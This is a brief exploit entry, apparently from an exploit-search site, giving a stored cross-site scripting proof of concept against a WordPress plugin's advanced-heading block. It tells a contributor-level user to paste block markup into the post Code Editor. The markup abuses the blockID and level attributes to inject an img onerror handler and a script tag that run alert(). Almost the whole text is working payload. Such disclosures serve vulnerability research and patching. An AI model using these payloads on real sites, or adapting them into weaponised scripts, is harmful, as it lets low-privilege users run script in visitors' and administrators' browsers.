## https://sploitus.com/exploit?id=WPEX-ID:A645DAEE-42EA-43F8-9480-EF3BE69606E0
As a contributor, put the below code in a post while in Code Editor mode:
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<!-- wp:ub/advanced-heading {"blockID":"\u0022src onerror=alert(/XSS-BlockID/)//","level":"img","fontSize":29,"fontFamily":"Cardo","lineHeight":35} /-->
<!-- wp:ub/advanced-heading {"blockID":"a","level":"script","content":"alert(/XSS-content/)","fontSize":29,"fontFamily":"Cardo","lineHeight":35} /-->